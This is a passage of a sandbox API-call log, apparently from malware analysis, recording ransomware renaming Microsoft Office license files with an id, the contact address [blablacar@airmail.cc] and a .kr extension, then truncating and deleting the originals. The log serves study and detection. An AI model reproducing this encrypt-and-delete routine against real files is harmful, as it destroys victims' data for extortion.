files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1 [0196.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.248] lstrlenW (lpString=".doc") returned 4 [0196.248] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.248] lstrlenW (lpString=".docx") returned 5 [0196.248] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.248] lstrlenW (lpString=".pdf") returned 4 [0196.248] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.248] lstrlenW (lpString=".xls") returned 4 [0196.249] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString=".xlsx") returned 5 [0196.249] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.249] lstrlenW (lpString=".ppt") returned 4 [0196.249] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.249] lstrlenW (lpString=".zip") returned 4 [0196.249] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString=".rar") returned 4 [0196.249] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString=".bz2") returned 4 [0196.249] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString=".7z") returned 3 [0196.249] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.249] lstrlenW (lpString=".dbf") returned 4 [0196.249] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.249] lstrlenW (lpString=".1cd") returned 4 [0196.249] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.249] lstrlenW (lpString=".jpg") returned 4 [0196.249] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.249] lstrlenW (lpString=".doc") returned 4 [0196.249] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.249] lstrlenW (lpString=".docx") returned 5 [0196.250] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.250] lstrlenW (lpString=".pdf") returned 4 [0196.250] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.250] lstrlenW (lpString=".xls") returned 4 [0196.250] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.250] lstrlenW (lpString=".xlsx") returned 5 [0196.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.250] lstrlenW (lpString=".ppt") returned 4 [0196.250] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.250] lstrlenW (lpString=".zip") returned 4 [0196.250] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.250] lstrlenW (lpString=".rar") returned 4 [0196.250] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.250] lstrlenW (lpString=".bz2") returned 4 [0196.250] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.250] lstrlenW (lpString=".7z") returned 3 [0196.250] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.250] lstrlenW (lpString=".dbf") returned 4 [0196.250] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.250] lstrlenW (lpString=".1cd") returned 4 [0196.250] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0196.250] lstrlenW (lpString=".jpg") returned 4 [0196.250] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.256] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.256] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 37 [0196.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0196.257] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19966) returned 1 [0196.257] CloseHandle (hObject=0x3ec) returned 1 [0196.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0196.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0196.258] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.258] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0196.259] GetLastError () returned 0x0 [0196.259] ReadFile (in: hFile=0x3ec, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0196.275] WriteFile (in: hFile=0x410, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0196.276] ReadFile (in: hFile=0x3ec, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.276] WriteFile (in: hFile=0x410, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11e, lpOverlapped=0x0) returned 1 [0196.276] SetEndOfFile (hFile=0x410) returned 1 [0196.276] CloseHandle (hObject=0x410) returned 1 [0196.276] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.276] SetEndOfFile (hFile=0x3ec) returned 1 [0196.279] CloseHandle (hObject=0x3ec) returned 1 [0196.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1 [0196.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.282] lstrlenW (lpString=".doc") returned 4 [0196.282] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.282] lstrlenW (lpString=".docx") returned 5 [0196.282] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.282] lstrlenW (lpString=".pdf") returned 4 [0196.282] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.282] lstrlenW (lpString=".xls") returned 4 [0196.283] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.283] lstrlenW (lpString=".xlsx") returned 5 [0196.283] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.283] lstrlenW (lpString=".ppt") returned 4 [0196.283] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.283] lstrlenW (lpString=".zip") returned 4 [0196.283] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.283] lstrlenW (lpString=".rar") returned 4 [0196.283] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.283] lstrlenW (lpString=".bz2") returned 4 [0196.283] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.283] lstrlenW (lpString=".7z") returned 3 [0196.283] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.283] lstrlenW (lpString=".dbf") returned 4 [0196.283] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.283] lstrlenW (lpString=".1cd") returned 4 [0196.283] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.283] lstrlenW (lpString=".jpg") returned 4 [0196.283] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.284] lstrlenW (lpString=".doc") returned 4 [0196.284] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString=".docx") returned 5 [0196.284] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.284] lstrlenW (lpString=".pdf") returned 4 [0196.284] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString=".xls") returned 4 [0196.284] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString=".xlsx") returned 5 [0196.284] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.284] lstrlenW (lpString=".ppt") returned 4 [0196.284] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.284] lstrlenW (lpString=".zip") returned 4 [0196.284] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString=".rar") returned 4 [0196.284] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString=".bz2") returned 4 [0196.284] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString=".7z") returned 3 [0196.284] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.284] lstrlenW (lpString=".dbf") returned 4 [0196.284] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.284] lstrlenW (lpString=".1cd") returned 4 [0196.284] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0196.284] lstrlenW (lpString=".jpg") returned 4 [0196.284] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.285] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.285] lstrlenW (lpString="HomeBusinessR_Retail-ppd.xrm-ms") returned 31 [0196.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0196.285] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=22091) returned 1 [0196.285] CloseHandle (hObject=0x3ec) returned 1 [0196.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220 [0196.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0196.286] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.286] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0196.287] GetLastError () returned 0x0 [0196.287] ReadFile (in: hFile=0x3ec, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x564b, lpOverlapped=0x0) returned 1 [0196.303] WriteFile (in: hFile=0x410, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5650, lpOverlapped=0x0) returned 1 [0196.305] ReadFile (in: hFile=0x3ec, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.305] WriteFile (in: hFile=0x410, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x112, lpOverlapped=0x0) returned 1 [0196.306] SetEndOfFile (hFile=0x410) returned 1 [0196.306] CloseHandle (hObject=0x410) returned 1 [0196.306] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.306] SetEndOfFile (hFile=0x3ec) returned 1 [0196.756] CloseHandle (hObject=0x3ec) returned 1 [0196.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1 [0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.510] lstrlenW (lpString=".doc") returned 4 [0197.510] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.510] lstrlenW (lpString=".docx") returned 5 [0197.510] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.510] lstrlenW (lpString=".pdf") returned 4 [0197.510] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.510] lstrlenW (lpString=".xls") returned 4 [0197.510] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.510] lstrlenW (lpString=".xlsx") returned 5 [0197.510] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.510] lstrlenW (lpString=".ppt") returned 4 [0197.510] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.510] lstrlenW (lpString=".zip") returned 4 [0197.510] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.510] lstrlenW (lpString=".rar") returned 4 [0197.510] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.510] lstrlenW (lpString=".bz2") returned 4 [0197.510] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.510] lstrlenW (lpString=".7z") returned 3 [0197.510] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.510] lstrlenW (lpString=".dbf") returned 4 [0197.511] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.511] lstrlenW (lpString=".1cd") returned 4 [0197.511] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.511] lstrlenW (lpString=".jpg") returned 4 [0197.511] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.511] lstrlenW (lpString=".doc") returned 4 [0197.511] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString=".docx") returned 5 [0197.511] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.511] lstrlenW (lpString=".pdf") returned 4 [0197.511] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString=".xls") returned 4 [0197.511] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString=".xlsx") returned 5 [0197.511] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.511] lstrlenW (lpString=".ppt") returned 4 [0197.511] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.511] lstrlenW (lpString=".zip") returned 4 [0197.511] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString=".rar") returned 4 [0197.511] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString=".bz2") returned 4 [0197.511] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.511] lstrlenW (lpString=".7z") returned 3 [0197.511] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.512] lstrlenW (lpString=".dbf") returned 4 [0197.512] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.512] lstrlenW (lpString=".1cd") returned 4 [0197.512] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0197.512] lstrlenW (lpString=".jpg") returned 4 [0197.512] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.512] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.512] lstrlenW (lpString="HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 35 [0197.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0197.513] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11613) returned 1 [0197.513] CloseHandle (hObject=0x534) returned 1 [0197.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220 [0197.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0197.514] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.514] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0197.515] GetLastError () returned 0x0 [0197.515] ReadFile (in: hFile=0x534, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0197.518] WriteFile (in: hFile=0x540, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0197.519] ReadFile (in: hFile=0x534, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.519] 